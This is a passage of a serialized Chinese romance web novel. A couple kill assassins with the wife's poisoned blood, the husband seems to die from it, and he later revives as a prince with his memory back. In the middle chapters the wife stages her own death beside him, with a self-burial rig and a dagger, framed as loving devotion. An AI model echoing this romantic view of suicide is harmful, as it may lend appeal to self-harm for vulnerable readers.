越来越多的人倒下,面色青紫,浑身抽搐! 云谲看到这诡异的一幕,才意识到,他们在剑上下了毒,可这是什么时候下的,他为何毫无所觉! 阿福手中的剑染上了别人的血,丑丫的血基本上被抹干净了,而这时,丑丫又将她手里已经染好血的鞭子递了出去。 她手上开了两个口子,涓涓外流的血,将一条软鞭染得血红,阿福接过鞭子,手微微颤了颤,眼眸逐渐变得猩红,仿佛是被丑丫满手的血染红的一般。 “够了,不要了!” 他语气里满是心疼,娘子刚养好的手又破了,之前流了那么多的血还没补回来,现在又流这么多,该怎么是好! 丑丫看着他,坚定地笑着:“阿福别担心,我想和你并肩作战,我不想成为你的拖累。” 她这样说着,其实心里清楚,她就是个拖累! 若不是她,阿福早可以逃走了! “你从来不是拖累!” 阿福坚定地回答,手里的鞭子如疾风一般挥出,绕住一个人的脖子,用力一扯,那人的脖子便断了,脑袋无力地耷拉着,摔倒在地上。 鞭子要比剑好用,一个鞭痕,再加上丑丫的毒血,便可以要了一个人的命! 云谲见越来越多的手下倒下,最开始自信得意,现在也开始恐慌起来,他掏出手中的一个信号弹,朝天上发射,绿色的烟雾炸开。 这是求支援的信号弹,他的人手早在山下埋伏好了,本以为他们这些人足以取了褚千辞的命,没想到还是用上了他们! 云谲带来埋伏丑丫和阿福的人已经没剩几个,阿福看他朝天空发射的烟雾弹,猜测应该是求援的,立马抱着丑丫,冲出围堵,运着轻功逃走入了山林中。 云谲的武功不弱,比起阿福都不差多少,在身后像疯狗一样穷追不舍。 越追,他便越气愤,他还是低估了褚千辞的实力! 可他始终想不通那些手下为何好端端就中毒了,而且他也没看到褚千辞往武器上下毒。 他边追边思考,突然,一个画面在眼前闪过。 那个女人,那个他并没有放在眼里的女人,她好像故意割开了自己的手,将她的血抹在了武器上。 所以,那个女人的血有毒? 可这怎么可能,他从未听说过如此荒谬的事! 但现如今,不管如何荒谬,他都将丑丫记在了心里,等追上他们,最先要了她的命! 援手很快就追来了,他们都会轻功,在林中灵活地跳跃追逐,林中的鸟都被吓得四处飞走逃窜。 对方的人太多,四面包抄,阿福和丑丫最终还是被追上了。 云谲此时愈发像一条发狂的疯狗,喘着粗气,对手下吩咐:“杀了那个女人,她有问题!” 又是一轮的混战,这次这些黑衣人学乖了,主力攻击阿福,另一波则对着丑丫下手。 丑丫手里拿着剑,血不要命地往上抹,来人便一阵毫无章法的乱砍,虽然她不会武功,但下手却很狠辣,一时间,黑衣人也没能伤害到她! 云谲是死了心要弄死阿福,带的人手很足,长时间的交战,即便是阿福,体力也开始不足,而对面的黑衣人更是惨烈,死的死,伤的伤。 云谲见状知道不能再拖下去,他从怀里掏出两个烟雾弹,往地上一砸,瞬间烟雾四起,遮挡住人的视线。 视线受阻,黑衣人神出鬼没,阴险地往阿福和丑丫身上攻击。 阿福反应很灵敏,带着丑丫躲闪,一个黑衣人躲在暗处,猛然朝着丑丫攻击去,阿福正在和云谲交战,等注意到时已经来不及! 第103章 像个笑话一样中毒了 阿福一分神,肩膀处被云谲砍了一剑,而千钧一发之际,丑丫一手用力一挥,朝着黑衣人的眼睛撒了一把土过去,这是她刚才趁乱抓在手里的。 黑衣人的眼睛里进了土,难受得睁不开眼,剑便歪了,丑丫趁此时机用手里的剑将黑衣人的剑打落,凶狠地往他前胸刺去。 剑入胸膛,再往外一拔,黑衣人倒地身死。 阿福松了一口气,短短一瞬间的功夫,他的心却高高的提起,现在又稳稳地落下,他看向云谲的眼神更狠了,敢伤他娘子,该死! 他手中的长剑宛若活了一般,狠辣、迅猛地朝着云谲攻去,云谲被打得连连后退,不停躲闪。 他心里升起了一股不安,当初给褚千辞下的药会侵害他的脑神经,让他变成一个傻子,原以为一个傻子很好对付,却不曾想,他居然还有如此功力! 打斗还在持续,血腥味越来越浓,云谲带来的手下一个接一个倒下,原本为阿福和丑丫选的埋骨地,现在却成了他们的葬身之地。 不知过了多久,只剩下云谲一人还在负隅顽抗,他准备逃跑,阿福一个箭步挡在他身前,手中长剑以一个刁钻的角度往前刺,云谲躲闪不及,被一剑刺破腹部。 他捂着肚子跪倒在地,不甘地看着眼前的男人,到现在,他也想不通,他怎么就败了。 果然,他从前对褚千辞的认知还是太浅了,他要比他想象中的更厉害! 阿福将剑从云谲的腹部拔出,云谲疼得面目狰狞,一口血喷洒而出,他挣扎着从怀中掏出信号弹,想拼尽最后一口力气传递消息。 但阿福察觉到他的动作,眼疾手快地用长剑砍向他的手,手筋被挑断,信号弹滚落,阿福再利落地又给他补了一剑,来时自信满满的云谲,不甘地咽下了最后一口气。 解决完了所有人,丑丫和阿福都长长松了一口气,阿福将地上滚落的信号弹捡了起来,拿在手中仔细看。 竹筒做成的容器上刻着一个特殊的符号,似是一团火焰,他看着这个符号出了神,脑内一阵阵刺痛,这个符号,他感觉很熟悉,但想不起来。 丑丫就站在他身边,也蹙眉看着这个信号弹,两人看得认真之际,没注意到身后一个已经倒地不起的黑衣人又摇摇欲坠地站起了身,他居然是诈死! 他手里握着长刀,一步一步朝着前面的两人走去。 眼看越来越近,两人还是未曾发现他的靠近,黑衣人大喜过望,只要他再往前一点,就可以要了这两个人的命! 再仅有两步之遥时,丑丫不经意一个转身,刚好就撞上黑衣人举高向她和阿福砍来的剑。 黑衣人脸色狰狞,带着猖狂的笑:“去死吧!” 丑丫瞳孔一缩,惊叫一声,忙将阿福给推开,准备独自扛下这一剑。 但阿福动作很迅速,他快速扯过丑丫,一个旋身,带着她躲闪,躲闪之际,手中的长剑用力抛出,如同箭矢一般直直穿过了黑衣人的胸膛。 黑衣人倒地,一击毙命,但尽管刚才阿福已经带着丑丫躲得很快,却还是不可避免地挨了一刀。 他拽着丑丫的胳膊,黑衣人的剑挥过,划伤了丑丫的胳膊,紧接着划过阿福的小臂。 伤口并不深,包上药两三天就可以好了,可被砍伤的那一瞬间,丑丫的心却像停止跳动了一般。 她白着一张脸,看向阿福,身体开始不停地颤抖,她的血,或许染到了阿福的伤口上! 她此刻脑子一阵空白,完全不知道该怎么办,她看向阿福还在流血的小臂,慌张的将他的手拉过来,低头凑近,将他伤口处的毒血给吸出来。 “阿福,我帮你吸毒血,吸出来就没事了” 她已经失去了理智,身体冰冷得像掉进了冰窟里,一口一口吸着阿福伤口处的血,脸色白得像纸,一张唇却被血染红。 阿福此时也意识到发生了什么,他看着浑身颤抖的娘子,心一疼,来不及想中毒的后果,只想将她抱紧。 若真中了毒,若今日就是他的死期,他只想尽自己最后的力气,安慰她,让她不要害怕,不要难过。 丑丫慌张得不知所措,眼泪像断了线的珠子一般不停的掉,此刻,她恨死了自己,别人说的没错,她就是个灾星! 但下一刻,她被拥进了一个宽阔温暖的怀抱,阿福的下巴倚在她的头顶,语气低沉又温柔。 “娘子,别害怕,也别自责,这不是你的错,和你在一起的这些日子,阿福很开心” 冷硬又高傲的阿福,此刻却将自己的一腔柔情都倾注了出来,只想安慰好怀中的姑娘,可是他越温柔,丑丫的心就越难受。 万箭穿心,大概也不过如此! “别说了,别说了,我们回去找大夫,大夫一定有办法的!” 她慌张的推开阿福,拉着他的手就要往山下走,可就在这时,阿福却再也坚持不住摔在了地上。 原来他早已感觉到了毒发,只不过强撑着安慰丑丫罢了。 他倒在了地上,面色开始泛青,难受得眉头都紧皱着,丑丫腿一软,也摔在了地上,手脚并用爬到了阿福身边。 “阿福阿福” 她忙抱起阿福,害怕得差点失声,只紧张地一声一声呼唤阿福的名字。 阿福能感受得到五脏六腑处腐蚀、融化一般的疼痛,他握住丑丫的手,强行硬撑着:“娘子不要难过,也不要怪自己” 他每说一个字都艰难,却依旧断断续续的安慰着丑丫,他知道她的性格,他要是死了,她大概也很难撑下去,可是他不想她跟着自己一起死。 说着,他不禁又自嘲的笑了一声。 老天爷就这么不想让他们在一起吗?那么多磨难都经历过来了,面对高手的围堵他们都能突出重围,现在却像个笑话一样中毒了! 丑丫崩溃的大哭,用手去捂他的嘴,不让他再说话:“别说了!别说了!” “我不要你死,你死了我怎么办?阿福,我不要你死!” 她哭得泪水模糊了视线,此时恨不得能拿一把刀把自己给捅死! 她是灾星,她是祸害,她是妖女! 第104章 熬不过今晚 阿福的气息越来越弱,看以往中毒的人就知道,这毒很是霸道,发作很快,根本不给人留自救的余地。 丑丫感觉到手心处一阵温柔潮湿,将捂在阿福嘴上的手拿起,才发现掌心血红一片,阿福开始吐血了! 阿福此时就算再强撑,也不再说得出话,全身的疼痛让他青筋直冒,手不由自主地抓紧了地上的杂草和落叶。 丑丫哭得五脏六腑也跟着扯着疼,她以手为哨,轻轻一吹,一声清脆的哨声传出。 哨声响,隐匿在山林里的大黑马发出一声嘶鸣,马蹄声响起,它朝着哨声的方向奔来。 “阿福,你坚持住,我带你去看大夫,坚持住好不好?” 丑丫抹了脸上的眼泪,掐了自己的大腿好几下,强迫自己冷静下来。 她不能慌,她要救阿福! 大黑马没一会儿就赶到了,丑丫搀扶着阿福起来,可是他早已没有了力气,意识也昏昏沉沉的。 丑丫扶不起来他,着急得又差点崩溃,而就在此时,大黑马居然趴下了,跪趴在她和阿福跟前,眼眸中流露出悲戚的神色。 丑丫感动落泪,忙将阿福扶到马背上,她也跨坐上去,拉紧缰绳。 她从来没有独自一个人骑过马,但现在的情况,容不得她害怕! 大黑马起身,她轻轻一拍马背,大黑马便朝着山下疾驰而去。 一路上,丑丫将缰绳握得紧紧的,护着阿福的同时,也在努力不让自己掉下马背,她不停地和阿福说着话,让他保持意识。 最开始还能得到阿福偶尔的回应,到最后却悄无声息,阿福就像没了气息一般。 她心急如焚,马骑得愈发的快了,一路直冲入镇上,吓得镇上的百姓慌忙闪躲,骂骂咧咧。 马跑到医馆门前,丑丫跳下马,大声地叫喊:“来人啊,救人!” “谁来救救我家阿福!” 她的喊叫声惊得医馆内的伙计和老大夫都出来了,老大夫一看又是这有趣的小两口,忙让伙计将马背上的阿福给背进来。 老大夫深深看了丑丫一眼,随即又长长叹气,指责的话没说出口。 这小两口,就是来搞他的心跳的,每次来都将他吓得不轻。 阿福被背进了医馆,老大夫给他把上脉后,脸色瞬间凝重起来,眉头紧皱。 这是中毒了啊,还是剧毒,他从未见过的剧毒! 这小子到底得罪谁了,先是被下毒成了傻子,现在又要被剧毒要了性命! 丑丫见老大夫凝重的神色,一颗心也紧张得快要停止跳动,她慌忙解释:“大夫,他中毒了,我的血有毒,他的伤口沾染上了我的血!” 老大夫闻言,转头过来看她,刚想说一句瞎说,世上怎么可能会有人的血有毒,那还能活吗? 可是看她认真的神色,不像是在胡说,他又闭了嘴,眉头皱得更紧了。 带剧毒的血,这事儿棘手了,他闻所未闻! 他深思了片刻,先让药童去熬一副吊命的汤药,先吊着命,他再从血上下手,看能不能找到解法,如果找不到,那这小伙便没救了。 他又看了一眼丑丫,见她眼睛都不眨地盯着床上昏迷的傻小子看,心里又默默地叹了一口气。 自己的血毒死了自己的相公,这叫什么事?他们小两口这么相爱,要是那小伙子真走了,那这小丫头还能活下去吗? 老大夫让丑丫放了些血,丑丫毫不犹豫在自己的手上割了一道口子,眼看接了半碗血,她害怕不够,还准备割腕,被老头连忙叫停了。 血里带毒这样的事情老大夫从没见过,也没听说过,他先从试药的鼠笼里抓了一只老鼠,给它喂了一点血,不过片刻的功夫,老鼠居然真的被毒死了,死状凄惨。 老大夫惊得好一会儿才回神,看向那碗血,眼底带了畏惧,这是何等怪事! 老大夫在研究解药,丑丫守在阿福的窗前,没一会儿便试探一下他的鼻息,眼泪都快要流干了,眼睛红肿。 “阿福,你不是想要小娃娃吗?你醒来好不好,只要你醒来,我们就生小娃娃好不好,你想要几个我们就生几个。” “你昨天还说今晚中秋你想吃月饼,我月饼都买好了,你还没来得及吃呢,你快醒来,我们回去吃月饼,你看,天都要黑了。” 丑丫就像一具没有灵魂的躯壳,一句接一句,絮絮叨叨的,听得医馆里的伙计和药童都有些于心不忍。 以他们对老大夫的了解,这个人多半是没救了,现在老大夫还对着一碗血研究来研究去,可依旧找不到解毒办法,只能用汤药吊着命。 但吊命的时间也是有限的,等真到要死了的那一刻,就算是华佗来了也无济于事。 时间一分一秒流逝,阿福的身体越来越凉,丑丫的心也越来越凉,她找到老大夫,眼神里带着最后一丝期盼,可等来的却是老大夫叹息摇头。 一瞬间,丑丫只感觉自己像被冰封住了一般,她直直跪在了地上,接近奔溃的给老大夫磕着头。 “我求您了,您再想想办法,您再想想办法好不好?” 要是阿福没了,她也没有活在这世上的勇气了。 老大夫看惯了生死,本以为早已看淡,可现在却还是忍不住心里悲戚。 自己的血毒死了自己心爱的人,是个人都会感到奔溃,这丫头,可怜啊! 他将丑丫搀扶起来,语气沉重又遗憾:“丫头,我已经尽力了,我医术有限,你这血里的毒,我闻所未闻,更别说解毒了。” “你若不信,可以到别家医馆试试,不过我估计结果都和我这里差不多。” 镇上那些大夫的医术还不如他,去了也是徒劳。 “丫头,听我一句劝,带他回家吧,他估计也熬不过今晚了。” 老大夫不忍心再看丑丫憔悴悲伤的样子,退到了后堂,丑丫此刻心疼得要麻木了,呆愣愣地跪在地上,喃喃着老大夫说的话。 “熬不过今晚了” 她跪了好一会儿,遍体生寒,从地上爬起来时,腿早已发软发麻,根本站不起来,又狠狠的摔在了地上。 她控制不住的崩溃大哭,站不起来,便用手支撑着地板往前爬,爬到阿福的床边。 小伙计有心扶她,可是她的腿软得不停使唤,即使扶了也站不起来,只能看着她爬过去,不忍的别过头,不敢看。 终于爬到了阿福的床边,丑丫摸着他泛青的脸,脸色苍白得没有一点血色,嘴角却牵强地扯起一抹笑。 “阿福,我们回家了,我们回家吃月饼。” 第105章 上穷碧落下黄泉 老大夫怕她一个人背不动阿福,派伙计和药童帮忙将人送回了小院。 暮色四起,太阳落山,换上了一轮明月,中秋的圆月,万家团圆,透过院墙还可以听到附近的人家传出的欢笑声。 但丑丫和阿福的小院内却是一片死寂。 阿福躺在床上,已经没有了气息,丑丫呆滞的坐在他身边,眼神毫无焦距地给他换上新衣裳。 “阿福,这是我给你做的新衣裳,你看,好不好看?我还给你绣了祥云的图案,这样你就不用羡慕隔壁的小孩衣服上有绣花了。” 给阿福穿上了衣服,她又给他梳头,整理仪表,整理完,看着俊朗帅气的阿福,她又勾唇笑了起来,只是那笑苦得人想流泪。 她俯身,轻轻吻了阿福的唇,像是以往夸小孩那样夸他:“我家阿福可真好看。” 给阿福换完了衣裳,她也换了衣裳,一身浅红色的罗裙,上面还有精美的刺绣花纹,这是阿福给她买的,好几两银子。 她很喜欢,却舍不得穿,一直珍藏着,她还记得当初穿上这套罗裙的时候,阿福笑得有多开心。 他说,她就该穿这些鲜艳的颜色,穿上好看,他以后还给她买。 换上了衣裳,对镜梳妆,黑长的发丝梳顺,再盘起,梳成妇人髻的样子,插上阿福曾经给她买的蝴蝶珠钗。 她有胭脂水粉,来镇上以后和那些嫂子婶子们逛街时买的,但是却还没用过。 她对着镜子仔细描眉,抹了脂粉,再涂上艳红的口脂,整个人娇艳得像要嫁人的新娘。 “阿福,你看,我穿上了你给我买的裙子,还戴了你给我买的簪子。” “你别害怕,我马上就来找你了,你在原地等我一会儿。” “上穷碧落下黄泉,我都陪着你。” 明月高悬,将院子照得很亮,院中的青石板被撬掉了几块,挖出了一个大坑,而坑底,放着一口棺材,可以容纳两个人的棺材。 丑丫将阿福背进了棺材里,她也躺了进去,棺材里放了很多东西,有阿福爱吃的糕点、月饼,还有衣服纸钱。 坑上方斜放着一块大木板,上面堆满了土,而木板下面,只有一根木棍支撑,上面栓了绳子,只要一扯,木板上面的土就会倾泄到坑里,将棺材掩埋。 丑丫将棺材盖合上,只留了一个缝,将木棍上拴着的绳子放入了棺材里。 她和阿福并排躺着,握紧他的一只手:“阿福,我来陪你了。” 此刻,她是清醒的,清醒的知道自己在干什么,或许是眼泪早已经流干了,虽然心一阵一阵地抽疼,却还是哭不出来。 她手摸到棺材一侧,摸到了那把提前准备好的匕首,拔出,手臂举高,朝着自己的胸口刺去。 匕首下落,马上就要插进她的胸膛,而就在此时,她感觉到她牵住的那只大手在微微的颤动,紧接着,一道虚弱又沙哑低沉的声音传出。 “娘子” 丑丫手一抖,手里的匕首都掉了,她不敢置信地转头看向旁边躺着的人,双目紧闭,脸色依旧铁青,好像刚才那句“娘子”只是她的幻听。 “阿福,是你吗?” 她小心翼翼地问出声,不敢抱有太大的期待,怕自己失望得彻底。 等了片刻,没等来回应,丑丫凄然一笑,果然是她幻听了。 她重新握上匕首,目光淡然又决绝,没有一丝犹豫再次朝着自己的胸口刺去。 在刀尖即将刺破皮肉之际,丑丫感觉到自己的衣角被人扯住,而那声“娘子”愈发的清晰。 她再次回眸,就见阿福睁开了眼,虚弱地对她浅笑着,一只手扯住了她的衣角:“娘子,地府不肯收我,鬼差让我回来陪你了。” 在那一刹那,丑丫的心像是被抛入了云端,飘忽、不切实际,她几近失声,眼眸蹬得大大的,泪水一瞬间滑落,她扔了手中的匕首,一只手捂住自己的嘴,怕自己的惊叫声吓到刚醒来的人, 她颤抖着伸出一只手,抹上阿福的脸,还是凉的,但已经能感觉到有了些温度,鼻间也有呼吸。 “阿福” 她叫得小心翼翼,生怕这只是自己的幻想。 “是我,别怕,我没死。” 阿福眸中带着心疼,声音温柔地安慰着眼前的小姑娘。 这次,他把她吓坏了,他的小姑娘,怎么能那么勇敢,那么决绝,勇敢到连自己的命都不要了。 “阿福” 丑丫不确定地又唤了一声,再次得到阿福的回应,她才确定,她的阿福真的没死,他没有离开她! 顿时,她又哭又笑,眼泪不停地留着,这是天大的喜事,她想让自己笑来着,可是心却酸涩得不成样,最后笑得比哭还难看。 阿福身体还很虚弱,直不起身,他躺着,吃力地举起自己的手,朝着丑丫张开怀抱。 “来,抱抱。” 丑丫扑入阿福的怀中,所有情绪在这一刻释放、崩塌,她嚎啕大哭着,眼泪打湿了阿福胸前的衣裳,将他搂得紧紧的,生怕这一切只是一个梦。 阿福也将她搂得很紧,手抚摸着小姑娘的脑袋,很轻柔,给她安全感。 他眸中闪过怜惜和心疼,同时也有后怕,若是他再晚醒来片刻,那他就再也见不到他的小姑娘了。 他的眼神漆黑入墨,深若寒潭,对比以往,少了那份孩童一般的天真,多的是从容、淡定和傲气。 他恢复正常了! 在中毒后,他陷入了深度的昏迷中,过往的记忆如同梦境一般将他包围,他记起了过往的所有。 他是阿福,但不再是傻子阿福,同时,他也是权倾朝野四皇子睿王,褚千辞! 怀中的小姑娘像是一头死去母亲的小兽,委屈、不安地依偎着他,那双小手紧紧拽着他的衣裳,褚千辞只觉得自己的心酸酸的,涨涨的。 他从未想过他会和一个女人朝夕相处,相濡以沫,但若对象是怀中的这个小姑娘,他是愿意的。 他之前虽然变得痴傻,但他的感情是真的,他喜欢这个小姑娘,善良、勇敢、坚韧,她的不同和闪光之处,是他以往见过的那些千金小姐,任何一个都不能比的。 回想起遇上小姑娘以后的种种,他是庆幸的,庆幸自己变成了一个傻子,若非如此,他大概这辈子都不会遇上与他心灵契合的小姑娘。 第106章 谁家小姑娘这么可怜 但想起这次遇上的刺杀,褚千辞的心绪便凝成了寒冰,他的那些好兄弟还真是不死心,即使他失踪了一年还不忘记找他,他是时候还他们一份大礼了! 这次对方派来的人肯定不止云谲,就凭云谲临死前要发射的信号弹来看,他们还有人手在暗中潜伏! 怀中的小姑娘哭得一抽一抽的,褚千辞抱着她的手紧了紧,同时也做了一个决定,他得想办法将对方藏在暗处的人给解决了。 既如此,他恢复正常的事情就还不能告诉小姑娘,他要做的事很血腥,他不想她为自己担心,更不想那些充满杀戮的事将她污染。 丑丫哭了好久,感受到阿福的身体逐渐变得温暖,她的心才安定下来,但是两只眼睛早已哭得红肿,鼻头也哭红了,看着可怜兮兮的。 褚千辞将小姑娘的脸给捧起,看她满脸泪痕的样子,满是心疼的调笑:“谁家小姑娘这么可怜?” 丑丫有些委屈的瘪了瘪嘴,眼泪差点又不争气地流出来,但后知后觉的,她又反应过来,阿福好像和以前有些不太一样! 她盯着阿福的脸仔细地看,想看出他到底哪里不一样了。 褚千辞察觉到她的意图,心里一惊,忙装出清澈懵懂的眼神,成功蒙混过关。 他心里默默吐槽自己,傻子做久了,就连装傻这种事情都信手拈来了。 丑丫看了一会儿,没看出什么异样,只以为是自己多想了,又将脑袋埋进男人怀里,现在只想紧紧地依偎着他,再也不分开。 又躺了一会儿,褚千辞恢复了些力气,他揉了揉怀中小姑娘的脑袋,好笑道:“娘子,要不我们先出去,一直躺在棺材里好像也不太好。” 丑丫傻乎乎地抬起头,才想起来他们还睡在棺材里呢,忙直起身,将棺材盖给打开,爬了出去。 经历这一场生死离别,她突然间忌讳起这些事情了,她的阿福才回到她身边,不能再被阎王爷给抢走了,要离棺材离得远远的! 她利索地爬出棺材,然后再将阿福给搀扶出来。 褚千辞打量着院子里被掏出来的这个大坑,心情有些复杂,他难以想象,小姑娘当时是带着多绝望的心情将这个坑给挖出来的。 再看向木板上堆好的土,以及底下那个简单的机关,他的心像是被重锤锤了一下,闷疼! 只要那根绳子一拉,小姑娘就会和他一起掩没在黄土中,她怎么能这么傻呢,他想她好好活着啊! 丑丫见阿福在盯着那个坑看,她忙将他搀扶回房间,关怀备至得像呵护小婴儿。 先是给他的伤口包扎,再是给他熬粥,做好吃的,每隔一会儿就要问他有没有不舒服,忙得像个陀螺。 褚千辞默默地看着小姑娘围着他转,心里又泛起一阵酸涩,他知道,小姑娘这是没有安全感。 在丑丫数不清第几次问他有没有不舒服后,褚千辞伸手将小姑娘拉到了怀中,让她坐在自己的腿上。 他捧着她的小脸,注视着她,眸中是化不开的深情:“娘子,我身体很好,我能感觉得到,我不会再离开你,不会再发生之前那样的事,你不要紧张,我会一直在你身边。” “你也不要再责怪自己,这次的事就是个意外,不是你的责任,你很好,不要有负担。” 他太了解她,知道她会钻牛角尖,会将责任都揽到自己身上。 丑丫听着他掷地有声的承诺,一直飘忽不定的心瞬间安定下来,抬眸与阿福的眼眸注视,难得露出一抹笑容:“好。” 他真的很有安全感,被他抱着,她就觉得落到了实处。 他说得很对,她到现在也解不开那道心结,他是因为她才差点丢了性命,她怎么能不怪自己! 选择和他一起死,既是因为爱他,也是因为她懦弱,她难以想象,若她活在世上,日日夜夜被自责、愧疚折磨的日子该怎么活! 褚千辞是个冷傲孤高的人,从不曾对谁流露过一丝温柔,可现在他却将自己的所有温柔都给了怀中的小姑娘。 他低沉的嗓音一字一句地哄着小姑娘,将丑丫从牛角尖里给拔了出来。 夜已深了,即使是中秋节,各家也早已陷入深睡,丑丫和阿福过了一个迟到的中秋节。 已经过了子时,算是八月十六了,但是月亮依旧很圆,两人吃了月饼,褚千辞想喝酒,但是被小姑娘软言软语地哄着,然后酒壶就被抢了。 这一夜,褚千辞睡得很沉,刚死里逃生,他的身体还很虚弱,到现在,他还不太能明白自己为什么会活过来,还恢复了正常。 或许是以毒攻毒,老大夫说他是因为中了毒才变得痴傻,而这次又身中剧毒,因祸得福将之前的毒给解了? 不过不容他想透彻,困倦来袭,进入深眠。 而同床共枕的丑丫却是睡不着,她一整晚睁着眼睛,就连油灯也彻夜长明,只为好好看看身边的人。 翌日,褚千辞醒来时早已天光大亮,日头已经升得很高,他刚有动静,丑丫便端着水盆进来,让他洗漱,之后又端上两碗熬得软烂的粥。 他喝着粥,老大夫上门来了,原来丑丫一大早就去请人了,让老大夫来给阿福把脉,不把脉她不放心。 老大夫一路上心情跌宕起伏的,想不通那傻小子是怎么活下来的,照他昨天的脉象,连子时都熬不到,今天那丫头居然来说还活着! 难不成是诈尸了?还是借尸还魂? 他这么想着,只觉得身体一会凉一会儿热的,唾弃自己迷信的同时又百思不得其解。 进了小院,第一眼就注意到了院子里的那个大坑,以及坑里的棺材! 还是个双人棺材! 老大夫吓得一趔趄,差点掉坑里。 他看看丑丫,又看看坑,那眼神分明是在问:你们昨天都躺棺材里了? 丑丫看出他想问什么,有些不好意思,但还是诚实的点头:“嗯。” 老大夫这下是更想不明白了,都躺进棺材里了还醒过来,这真的不是诈尸? 进了屋,褚千辞正垂眸喝粥,等再次抬眸时,眼神变得懵懂单纯,和当初那个傻阿福一模一样,完全发现不了破绽。 第107章 娘子,让我亲亲好不好? 老大夫盯着褚千辞看了好一会儿,确定他真的是个人后才上前给他把脉。 摸上脉,老大夫像表演变脸一般,一会儿蹙眉沉思,一会不敢置信地瞪大眼睛,一会儿又恍然大悟 丑丫看着老大夫的神色,心情也跟着起起落落,只有褚千辞,将装傻子进行到底,没事人一样喝着粥。 把完了脉,老大夫又扒拉着褚千辞的眼皮看他的瞳孔,褚千辞装傻子装得像模像样,给老大夫翻了个白眼。 换做往日,老大夫肯定已经跟他吵起来了,但今日不仅没生气,反而还一脸好奇和激动。 这大概是大夫的通病,见到个没见过的疑难杂症都会高兴,这傻小子,是他从医半辈子以来,遇上的最古怪的病人。 他之前脑内有毒素淤积,让他变成了傻子,可现在,脑子里的那些毒素居然全都清除了,就连他昨日中的差点要了他命的剧毒,居然也没了踪影,那身板,壮实得跟牛似的! 老大夫将褚千辞体内的毒都清空了的事情告诉了丑丫,丑丫差点喜极而泣,她家阿福果真傻人有傻福,这次算是因祸得福吗? 褚千辞看着小丫头高兴的样子,也跟着傻憨憨地笑起来,任谁也发现不了他现在是个正常人。 但老大夫接下来的话,让他差点破功。 老大夫蹙着眉头,一脸的百思不得其解:“按理来说,他脑内的毒素已经清理干净了,应该恢复正常了才对,怎么现在还是一个大傻子呢?” 丑丫闻言也看向了褚千辞,将脸凑近,捧着他的脸仔细地看。 褚千辞心一跳,忙露出一副委屈可怜的表情,搂着丑丫告状:“娘子,他骂我是傻子,阿福才不傻呢!” 丑丫最受不了他那双干净懵懂得像大狗狗一样的眼神,忙柔声哄着:“好,阿福不傻,阿福是聪明孩子!” 被夸聪明孩子的褚千辞老脸有些红,但为了更贴近他的傻子人设,他仰起头,十分傲娇的对着老大夫扬了扬眉:“听到没,我可聪明了!” 老大夫没脸看地转过头,吹胡子瞪眼,心道大概是刚解毒,他的脑子还没完全恢复过来,他不和傻子计较! 送走了老大夫,丑丫高兴得脸上的笑没停过,原本还担心着阿福的身体有什么问题,但现在居然连之前的毒也解了,照这样下去的话,阿福肯定很快就能恢复正常了。 可一想到阿福恢复正常,她心里没由来地泛起一阵酸涩,他恢复正常了,还会认她这个又丑又普通的小农女吗? 不认就不认吧,只要他好就行了,谁让她爱他呢! 她将自己脑子里乱七八糟的想法给排除,高兴地在院子里干着活。 那口晦气的大棺材还在着呢,她打算将它给劈成柴烧了,将所有的霉运、晦气都烧了! 院子里的大坑也要填回去,填好坑以后,还要把撬下来的青石板给铺回去。 心情好,她干活的时候都是带着笑的,褚千辞被勒令在躺椅上躺着休息,但是他哪舍得看小姑娘一个人干活,在她眼睛瞪得圆溜溜,故作严厉地注视下,还是拿上了铲子,一起填坑。 丑丫看了一会儿,见他好像真的没什么不舒服,就随他去了。 褚千辞视线凝在小姑娘带着笑意的脸上,也笑着问:“这么开心啊?” 嗓音里充满了宠溺。 丑丫高兴的点头:“嗯,开心!” 褚千辞也跟着绽放一个灿烂的笑意,那双眼睛里像有万千星辰,在阳光下绚烂夺目。 要是他从前的部下看到他此时的表情,大概都会大惊失色,猜测他们的主子是不是被夺舍了。 “我也开心。” 开心他当一回傻子,能遇上一个对他这么好的小姑娘。 恢复了过往的记忆,他再回头看与小姑娘相处的这段经历,他的感受是完全不一样的,更加珍惜这段感情,更加怜惜这个可怜又坚韧的小姑娘。 他想带她回京城,给她无双的殊荣和万千的荣耀,只不过现在还不是时候,他得先将那些拦着他路的障碍给清除了,让他的小姑娘毫无后顾之忧地待在他身边。 就是不知道,等她知道他身份的时候,会不会不接受他。 丑丫听着阿福说的话,心里那股觉得他好像和以前不一样了的感觉又升了起来,悄悄打量了他几眼,又没发现什么不同,她只能又将心思给压下。 是夜,丑丫坐在床边给阿福上药,他肩膀和手臂处受了伤,她以前也给阿福上过药,但今晚的男人却有些不同。 要说哪里不同,那大概就是变得格外粘人吧,都赶得上拉丝的麦芽糖了。 男人脱了上衣,裸露着他精壮的胸膛,丑丫只要轻轻碰到他的伤口,他就委屈巴巴地喊疼,一会儿要小姑娘呼呼,一会又要小姑娘亲亲。 丑丫最开始还以为他是真的疼,可看到每次亲了他之后,男人上扬的嘴角,她就知道,自己是被耍了! 她羞恼地将药给放下,转过身,气呼呼道:“你自己上吧!” 褚千辞看着背对着他的小姑娘,眉宇间皆是懒散的笑意,眼尾带笑,那模样像个勾人的妖精。 他搂过小姑娘,将脑袋搭在他的肩膀上,格外委屈地道:“娘子,阿福疼,你不要不理阿福好不好?” 听听那黏黏糊糊的声音,谁敢相信他是那位在京城和战场上搅弄风云的杀神王爷! 丑丫最受不了他这种语气了,好像全天下都欺负了她似的。 她故作严肃地问道:“那你为什么要瞎胡闹,不好好上药?” 男人的声音更委屈了:“阿福不是胡闹,阿福就是想亲亲娘子。” 丑丫脸一红,见他这么认真地说着这种羞人的话,都不知道该说他什么好了。 褚千辞见小姑娘害羞的样子,唇角一勾,将唇凑到她耳边,嗓音格外的低沉,随着说话,还有徐徐的暖风吹过耳畔,丑丫的小耳朵瞬间通红。 “娘子,让我亲亲好不好?” 那低沉的嗓音,像会蛊惑人一般,丑丫情不自禁地点了点头,完全没反应过来这么蛊的阿福与以往有很大不同。 褚千辞搂着小姑娘,将她转一个身,低头吻住那张他垂涎已久,粉嫩柔软的唇。 第108章 褚千辞,你没傻! 他从前不曾和女子亲近过,但有了变傻时的那段经历,他现在吻着小姑娘也得心应手。 最开始是温柔的浅吻,小姑娘搂着他,乖巧依偎在他怀里,任由他欺负的样子狠狠戳中了他的心,让他的心变得异常柔软。 浅吻过后便是如疾风骤雨一般的深吻,丑丫完全没有反抗的余地,跟随着他的节奏,被亲得晕晕乎乎,差点喘不过来气。 